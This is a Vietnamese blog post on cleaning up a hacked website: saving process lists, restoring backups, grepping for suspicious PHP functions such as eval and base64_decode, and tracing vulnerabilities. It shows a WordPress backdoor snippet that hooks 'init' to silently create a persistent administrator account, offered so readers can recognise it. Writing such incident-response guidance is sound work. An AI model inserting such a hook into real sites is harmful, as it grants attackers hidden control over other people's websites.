Làm Gì Khi Bị Hacked Tấn Công Website

Tác giả: manhtuong.net

Vào một ngày đẹp trời bạn bị hacked tấn công làm mất giao diện website ban đầu của bạn, bạn tá hỏa tìm cách xử lý nhưng không biết làm sao? hôm nay mình sẽ chia sẻ các bước để xử lý

Nếu bạn dùng vps thì làm theo thứ tự sau đây còn nếu bạn dùng hosting hãy bỏ qua bước 1.

Bước 1: tóm các tiến trình đang chạy

Việc đầu tiên của quá trình xử lý là độc tiến trình đang chạy trên máy chủ của mình. các bạn nên lưu lại toàn bộ tiến trình rồi làm tiếp bước 2. Để lưu lại chúng ta dùng lệnh

top -b -n 1 > top.txt
top -b -n 5 > top-5iterations.txt

Với lệnh trên toàn bộ tiến trình đang chạy sẽ bị lưu lại ở file top.txt để chúng ta rà soát về sau

Lý do cho bước này là nếu mã độc chạy python, perl thì các tiến trình ngần như không bị xóa sau khi kết thúc chúng ta có thể lần ra nhiều manh mối từ các tiến trình này, quan trọng hơn chúng ta cần tìm ra tiến trình cha để xử lý triệt để.

Sau hành động lưu toàn bộ tiến trình chúng ta bước vào bước 2

Bước 2: Khôi phục dữ liệu về ngày ngần nhất còn chạy được.

Sao lưu dữ liệu hiện tại để nắm được thông tin về mã độc, file index. Sau bước này là chúng ta tiến hành khôi phục từ bản sao lưu dữ liệu code về ngày ngần nhất chúng ta có, tránh các trường hợp sự cố như chúng ta phát triền các tính năng loạn xạ rồi khôi phục bản gố mất hết ảnh hưởng tới thứ hạng seo cũng như phá hỏng các chiến dịch marketing đang tiến hành… tuy nhiên chúng ta cần lựa chọn bản có chạy được và chức năng đầy đủ như yêu cầu ban đầu.

Bước 3: Truy vết mã độc

Đầu tiên chúng ta dựa trên bản backup dữ liệu mà chúng ta có để khôi phục ở bước 2 chúng ta tiến hành so sánh nó với dữ liệu hiện tại chúng ta backup có được ở bước 2. chúng ta mục tiêu tìm kiếm các file lạ các file mới được tạo ra và khoanh vùng sự cố, mã độc. các bạn nên check thời gian thay đổi của các file để phát hiện xóa các mã độc, các file index do hacked chèn vào

sau khi rà soát xóa các file lạ hoặc là không thấy file lạ không thấy file nào tạo trong khoảng thời gian đó (thời gian tạo bản backup tới lúc chúng ta biết mình bị hack)

Đọc các tiền trình mình đã backup ở bước trên để biết được một số thông tin về các tiến trình lạ các bạn nên chú ý các tiến trình perl và python đât là những tiến trình sẽ không bị kill nếu không dùng lệnh hoặc reboot. đây là những đầu mối giúp chúng ta điều tra mã độc

Thường mã độc hay ẩn lấp và không dễ để mò ra chúng ta chỉ xóa mấy file index bị chèn nội dung của hacked, chúng ta cần tìm ra nguồn gốc của nó để xử lý triệt để như tìm như thế nào bây giờ? biết lỗ hổng ở đâu.

Việc đầu tiên bạn cần làm là học cấu trúc thư mục của code mình đang dùng thư mục nào thì chức năng nào do phần mềm nào sử dụng và có quyền đọc nghi để từ đó có cái nhìn tổng quan về tình hình và các sự cố có thể có.

Chúng ta tiến hành tìm kiếm các hàm mã độc có thể có như

base64
base64_decode
@include
global
eval
json_encode
exec

Sau đó chúng ta tiến hành đọc các file được tìm thấy. (các bạn có thể dùng các công cụ như sublime text hoặc linux bằng lệnh find)

Nếu nội dung bị mã hóa thì trên 90% đó là mã độc bạn có thể xem xét xóa nó đi

Tuy nhiên 10% còn lại là do bên lập trình cố tình mã hóa code vì lý do nào đó khiến cho bạn không biết đâu mà lần giờ phải làm sao?

Cách đơn giản duy nhất là bạn hãy hỏi bên lập trình của bạn về việc liệu có mã hóa file nào không nếu có bạn yêu cầu họ cung cấp mã nguồn gốc hoặc đơn giản hơn là mã MD5 checksum của file để bạn đối chiếu với file mình đang có

Đó là khi mã độc mã hóa nhưng nếu nó không mã hóa mà chèn thẳng vào file bình thường thì làm sao?

Vấn đề trở nên đau đầu khi mã độc chèn vào file bình thường và không có dấu hiệu mã hóa để chúng ta nhận dạng. công việc của chúng ta là đọc code nhận dạng mã độc để xử lý triệt để.

Trong bước này chúng ta cần chú ý các hàm như curl, các function lạ

Một kinh nghiệm của manhtuong cho thấy bạn nên chú ý vào các file như index, các file config, các file chứa function(wordpress function chả hạn) các file control và các file database connection những file này là những file cực kỳ quan trọng và hết sức nguy hiểm thường chúng ta không chú ý nhất.

WordPress các bạn có thể chú ý các đoạn code function như sau

function wp_create_user($username, $password, $email = '') {
    $user_login = wp_slash( $username );
    $user_email = wp_slash( $email    );
    $user_pass = $password;
 
    $userdata = compact('user_login', 'user_email', 'user_pass');
    return wp_insert_user($userdata);
}

đây là một đoạn code mặc định của wordpress trong file user.php tuy nhiên nếu đoạn này nằm trong file function nó thường biến tướng như sau

add_action('init', 'add_my_user');
function add_my_user() {
    $username = 'username123';
    $email = 'drew@example.com';
    $password = 'pasword123';

    $user_id = username_exists( $username );
    if ( !$user_id && email_exists($email) == false ) {
        $user_id = wp_create_user( $username, $password, $email );
        if( !is_wp_error($user_id) ) {
            $user = get_user_by( 'id', $user_id );
            $user->set_role( 'administrator' );
        }
    }
}

Với đoạn code trên chúng ta có thể chúng ta đang bị tạo 1 tài khoản admin cho dù bạn xóa trong wp-admin thì cũng không hết được. đoạn code có thể đơn giản như sau:


$userData = array(
            'user_login' => 'username',
            'first_name' => 'First',
            'last_name' => 'Last',
            'user_pass' => 'password',
            'user_email' => 'you@mail.com',
            'user_url' => '',
            'role' => 'administrator'
        );
wp_insert_user( $userData );

 

Bước 4: Truy tìm lỗ hổng bảo mật:

Vấn đề về truy vấn lỗ hổng bảo mật là một vấn đề lan giải không kém bước 3 tuy nhiên chúng ta có thể giải quyết nó bằng cách đỡ đau đầu hơn rất nhiều. để giải quyết vấn đề này chúng ta phải am hiểu cây thư mục của website chúng ta đang vận hàng để biết thư mục nào fiel nào do cái gì tạo chức năng nào được quyền nghi vào thư mục đó.

Ví dụ: thư mục upload thì do chức năng tải hình ảnh media của web quyết định nội dung nên nếu có mã độc ở đây thì cần kiểm tra lại các form upload có đủ an toàn hay không?

Việc tiếp theo chúng ta cần lấy log trên server xuống xem thử trước đó có cuộc tấn công bruteforce nào vào hệ thống hay không? ssh có bị scan hay không?

Mình hay khuyến cáo mọi người một số vấn đề để đảm bảo an toàn cho website mà khi muốn truy lại log cũng dễ

  • Đổi port ssh từ 22 sang port 9090 8080 8181 sang port nào cũng được và dễ nhớ với các bạn tránh các port phổ thông 22 2222 (hocvps dùng 2222 )….
  • Dùng modsecurity cho website để hạn chế các cuộc tấn công và dễ dàng đọc log khi bị hack. một số plugin của wp làm việc này nhưng vấn đề là log của nó quá dễ xóa sau khi bị hack dẫn tới việc mò log sau khi bị hack là vô cùng khó khăn
  • Nếu bạn có điều kiện nên dùng các phần mềm giám sát website như zabbix để tiến hành giám sát server.

Trong trường hợp khẩn cáp bạn có thể liên hệ với mạnh tường qua email: contact@manhtuong.net để được hỗ trợ về phân tích giám sát mã độc khôi phục hoạt động trở lại của website một cách nhanh nhất. hoặc để lại lời nhắn ở phần chat mạnh tường luôn online để hỗ trợ xử lý sự cố bất ngờ đối với các website.